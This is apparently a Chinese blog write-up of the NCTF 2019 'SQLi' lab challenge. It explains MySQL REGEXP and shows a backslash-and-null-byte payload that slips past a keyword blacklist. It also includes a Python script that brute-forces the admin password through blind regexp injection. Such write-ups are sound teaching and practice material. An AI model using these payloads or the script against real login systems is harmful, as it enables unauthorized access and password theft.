suyumen
目前主要在学习web相关

NCTF-2019-SQLi

2021-05-20 sql注入 正则注入
Word count: 545 | Reading time: 2min

特意找点sql注入的题来写写(万一能自己写出来了呢……)

开题是登录界面,给了源逻辑

1
sqlquery : select * from users where username='' and passwd=''

扫了一下目录,robots.txt有东西,提示hint.txt,转到hint.txt,发现以下:

1
2
3
4
5
6
$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";


If $_POST['passwd'] === admin's password,

Then you will get the flag;

需要获得admin的密码,给了黑名单。

select union不能用,查询就用正则Regexp,nice,现学一下……


SQL应用pegexp

语法举例:

1
2
SELECT * FROM 表名
WHERE 列 REGEXP 规则;

LIKE匹配整个列,如果被匹配的文本在列值中出现,LIKE 将不会找到它,相应的行也不会被返回(除非使用通配符)。而REGEXP在列值内进行匹配,如果被匹配的文本在列值中出现REGEXP将会找到它,相应的行将被返回,并且REGEXP能匹配整个列值(与LIKE相同的作用)。

具体匹配规则这里写的很详细


所以,根据正则的结果查密码即可,先看一下登录成功界面的关键词。

构造

1
select * from users where username='\' and passwd='|| passwd regexp \"^a\";%00'

盲注。

当payload:username=\&passwd=||1;%00,回显一个welcome.php界面。

呃呃不会写脚本,思路大概是一个一个字符试。。看别人的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
from urllib import parse
import string
url = 'http://218ed11a-b977-4f0b-972d-bc39dd097583.node3.buuoj.cn/'
num = 0
result = ''
string= string.ascii_lowercase + string.digits + '_'
for i in range (1,60):
if num == 1 :
break
for j in string:
data = {
"username":"\\",
"passwd":"||/**/passwd/**/regexp/**/\"^{}\";{}".format((result+j),parse.unquote('%00'))
}
print(result+j)
res = requests.post(url=url,data=data)
if 'welcome' in res.text:
result += j
break
if j=='_' and 'welcome' not in res.text:
break

跑出来

you_will_never_know7788990

输入密码提交得到flag~


Tips

1.MySQL的正则表达式匹配(自3.23.4版本后)不区分大小写。可以使用BINARY关键字区分大小写。

2.%00不能直接在输入框中输入。


参考

MySQL 正则表达式(REGEXP)

[NCTF2019]SQLi

[NCTF2019]SQLi

Author: suyumen

Link: https://suyumen.github.io/2021/05/20/2021-05-20-[NCTF2019]SQLi/

Copyright: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.

< PreviousPost
php异或计算
NextPost >
SUCTF-2019-EasySQL
CATALOG
  1. 1. SQL应用pegexp
  2. 2. Tips
    1. 2.1. 参考